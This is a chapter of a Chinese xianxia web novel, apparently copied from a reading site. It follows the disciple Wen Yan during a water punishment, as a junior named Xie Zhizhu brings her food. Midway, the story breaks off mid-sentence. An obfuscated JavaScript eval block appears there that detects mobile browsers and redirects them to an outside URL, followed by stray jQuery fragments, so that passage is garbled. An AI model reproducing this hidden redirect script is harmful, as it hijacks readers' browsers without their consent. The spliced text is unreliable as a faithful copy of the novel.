默认冷灰
24号文字
方正启体

2. 谢知竹(2)

作者:苍旧月本书字数:K更新时间:
    温晏睁开眼睛,由于跪姿矮了那人半身,先是瞧见了他杏仁黄的衣衫,微弱摇曳的火光下,和他提着食箧的修长指节。


    她想伸手抹去眼前的水汽,却被铁链束缚得动弹不得,索性没有抬头。


    相对无言,于是她率先开口:


    “怎么不穿弟子服。”


    那人尾音上扬哼一声,屈身轻放手中的竹盒,解释道:


    “我是外院弟子,没有那么多讲究。”


    随着他弓曲的脊背,温晏终于去寻他的样貌。


    瞧着很舒服的眉眼,肤色极白,唇色红润,眼尾的根根睫毛上弯。


    她道:


    “我没见过你。”


    “岐山有三千弟子,师姐没见过我是最自然不过的。”


    他的语气很是无所谓,动作小心地打开食箧的最上层,里面随之飘出了一股浓烈的甜腻味。


    温晏心中一动,探头去瞧,果然是蜜渍槐花糕。


    她满意歪头,刚想道谢。


    却见他几根手指轻轻扣了扣盒子的边缘,慢条斯理道:


    “想吃吗?”


    “求我下如何?”


    山风卷动着石缝间早已焦枯的落叶撕啦作响,烛光落在他的眸子里清晰地显露出试探的意味。


    温晏的脑海中随之出现的是只饱含恶趣味的妖精,那种于水火中降临,随后编了一场闹剧的邪恶精怪。她瞬间炸毛,直立起双膝一刻,又被锁链拉下,语气不悦:“仗着一碟糕点就对师姐口出狂言,不知廉耻!”


    两人离得显然不近,女子怒斥时飞喷出的唾液却似乎溅到了这人的睫上。


    他像是露出一瞬间的尴尬,随后又顽劣地将食盒拿的更近了一些。


    “真不吃吗?”


    温晏拒绝沟通。


    僵持之际,她的肚子早已饥肠辘辘率先不争气地嘀咕起来。


    她更烦了,索性没去看他。


    相对无言。


    最终只听见他窸窸窣窣收拾起身后,语气遗憾道:“师姐果真如传闻中那般……那我改日再来。”


    温晏数着他的步数渐远才再次抬头。


    这人虽生了长漂亮的皮相,却不懂得尊重同门,尤其对她还格外挑衅,致使她对他的初印象极差。


    依旧是夜。


    树木的枝干扭曲,总似被风推得扭动起来。


    不远处落了一盏光亮,勉强照出一圈昏黄的范围。


    他把灯笼丢下了。


    “……”


    算了,与一个师弟计较什么。


    四长老温五玚乃是前任掌门的亲弟弟,换言之也就是温晏的叔父。此人古板严厉,恪守成规,对温晏的期望太高,寻常无比苛刻。


    温晏一向对他敬而远之。


    他晃着酒葫芦出现的时候,温晏刚结束了六个时辰的水罚。


    此次的潭水非同寻常,寒气侵入,竟是带着火舌撩扰的灼烧感。


    她扭动着刚被松开的手腕,爬到岸边选了块石头坐下,见到温五玚时动作僵住,心中暗自吐槽:


    别是误会我在偷懒啊。


    温五玚瞪她一眼,从袖中慢腾腾取出一个布包裹,摊开,里面是几块槐花糕。


    他张口时黄牙漏风,这空了的门牙据说还是温晏她父亲的手笔,与他粗犷的嗓音相较,有些滑稽。


    他说:“途中遇见个弟子,说你今日滴水未进,凄惨得很。”


    “喏,饿了吧,吃些东西。”


    温晏语塞。


    人人来给她送槐花糕。


    只道她与槐花糕的缘分如此,也就没有拒绝。


    温五玚嘬了葫芦,里面早已空空如也,任他甩几下也挤不出半点汁水。


    他没有抬眼与她对视:“你在此受罚已经几日了?”


    温晏面不改色张口就来:


    “算上今日,已经四十四天了。”


    “那你可知道哪里错了?”


    她思索一二。


    前世的自己否认有错,直接将他气走,几天没再看她。


    此时若改变说辞,讲几句好听的,想必也就不用在清遇涧多受几天苦了。


    温晏扭过头时,温五玚正认真地端详着她,她没错开视线,语调平静:“不知道。”


    没有骗他,也没有花言巧语。


    “哦?又是为了精进修为不择手段?”温五玚气极反笑,不厌其烦道,“你剑气纯粹,将来是要继承你父亲衣钵的,其他门派的修炼法子不适合你。”


    说得急了,他掌心拍上温晏的脑袋:“温晏!你骨子里就是剑士,学的杂只会乱了你的灵气,我也是想你更顺一点!”


    温晏垂着眼睛,睫羽遮盖住眼底的情绪,指尖不紧不慢地碾碎糕点残渣,置若罔闻道:“四长老,人人都说我比父亲更有天赋,我自己的路只会走的更高。”


    一如当年,温五玚被她气的眉须竖立,吹胡子瞪眼地离开了。


    温晏收起剩下的糕点,提着灯回到自己的小筑。虽已隔世,小筑仍是记忆中的模样。


    她颇为感慨地推门进去,将布包摊在桌面。


    不由地回想起了自己接取天书的那日。


    恰巧是她年满二十的那一天,师兄回岐山借饭斋的灶台给她下了碗清汤鸡蛋面,师父正对劝酒的温叔叔苦口婆心。


    此时,大长老突然撞门而入。


    “天书……天书展开了!”


    古神创世后曾在人间留下两本天书,分别供于岐山天机阁和五行宗母子塔,


    天书任务,也就是先神留给后辈天骄的任务。


    只在十几年前展开过一次,指定人选完成。


    这第二次,被选中的正是她温晏。


    岐山混元堂中,混元堂外,千人瞩目之中,天书翻动传出平稳无波的声音。


    “玉甃灵韵被盗,妖魔乱生,岐山温晏剿之。”


    说的是世间灵韵滋生之地玉甃驻结了妖魔,偷吃这起源处的灵气。没了灵气,世间的修士和精怪便难以成长,故派她温晏前去斩除。


    自玉台较武后,这名字又一次引发轩然大波。


    温晏,字昭临,岐山剑士。


    正值十七便玉台夺魁,剑术无双。


    温晏越回忆心情越发舒爽。


    她捻起槐花碎开的一块含在口中,咀嚼几下……


    很甜。


    第二日,曦光乍亮,温晏便早早跪在了清遇涧。


    山间的鸟雀各异,赶着大早杂乱开嗓。


    律法堂的吕显踩着时辰到时,瞧见的正是寻常不可一世的温师姐跪立于此的姿态。


    大师兄昨日与律法堂打了招呼说她会来此受罚。


    半天的水罚,银链松动时岐山的食斋已经不再供给,于是律法堂每日遣人送饭。只是每日的时辰跪够后,送来的吃食也就凉了。


    他不敢多看,靠近放下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279059|198338||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    今日的份例。


    抬脚要走,就听见师姐出声:“昨日怎么不是你?”


    他曾经心比天更高,当众拔剑与师姐切磋,被暴揍一顿后一连三天倒在床榻上直不起腰,此后便有些畏惧她。


    于是匆匆应了一句:“啊,昨日我内急,托了外门的师弟帮忙。”


    随后逃也似地溜了。


    温晏探头去看岸上的几碟瓷盘。


    两片馒头,一碟清粥。


    没过多久,就有小雀攀在碟子边缘啄食起来。


    “……”


    第三日,第四日,如法炮制。


    直到第五日。


    清遇涧的水看似柔和,却仿佛由数不尽的冰针聚集在一起,顺着山势流过温晏的肌肤,相接触的无数个瞬间,冰针扎进她的脉络,刺入她的神经,在她的全身游走。


    每一下都伴随着剔骨削肉般强势的疼痛感。


    五日之后,已经由腿部蔓延至整个身躯,持续的剧痛结束后是骨髓内酥麻的酸胀感……


    此前温晏总因偷溜下山被罚,连跪十天半个月也是只是略感疲累,这一同反常的异样令她心中顿生奇怪。


    或许是前世自己身上沾染太多魔气,体内污浊堆积,由此引发清遇涧水反应过激。


    牙尖压上腮内一侧的软肉,温晏勉强挺直了腰身,流水腐蚀之下,她竟还能感到腹中空虚,饥饿感毫不迟疑地袭来。


    眼眶隐约又湿润起来。


    “师姐,要吃东西吗?”


    饿到极致,意识昏沉之际,温晏听见一声很轻地叹息声。


    她感到有东西被送到她的唇边,“吃吧。”


    这次,是露芽汤。


    她侧脸躲开,抗拒着这过于亲昵的姿势,眯眼道:“你叫什么名字?”


    他回答的老实真诚:“谢知竹。”


    温晏有些怪异地望向他。谢知竹的眸光沉沉,显然没有意识到她会突然扭头,虽飞快地避闪开她的审视,可眸底一闪而过的情绪波动还是被她捕捉到。


    温晏不爽:“你这是什么表情,可怜我?”


    他摇了摇头,语气顺从:“只是感到惊奇,师姐这般优秀的人也得来寒潭受罚。”


    温晏这人有个毛病,爱受人捧着,夸她“无私霸气天才少女”一类的词她百听不厌。她也没觉得这是个毛病,只是欣慰对方对自己的实力有了清晰认知。


    也许是这句“优异”取悦了她。


    她挑眉:“你不错。”


    随后霸气道:“碗里的那玩意给我来一口。”


    谢知竹又一次送出调羹中的汤水:“温的。”


    见她小口小口饮下,他压着喉中的笑意,觉得满意。


    在清遇涧的最后一天,是崔云声来接她的。


    温晏咬着牙走出潭水,上岸的瞬间,竟然觉得身上一轻,无比清爽。


    她用灵气烘干自己的衣裙,远远地便听见崔云声语气的语气如同和煦春风:“师妹,师父出关了,正寻你过去呢。”


    “师父出关了?快走快走。”她小跑几步凑到崔云声身侧,拽着他的衣袖迫不及待道。


    一路上,两人的心情明朗,说不出的轻松。


    山涧内对话声因回音格外清晰。


    “对了,外院有个叫谢知竹的弟子,师兄可知道?”


    崔云声扶额:“我的亲师妹,你也太看得起我了,外院弟子众多,我记不过来啊。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)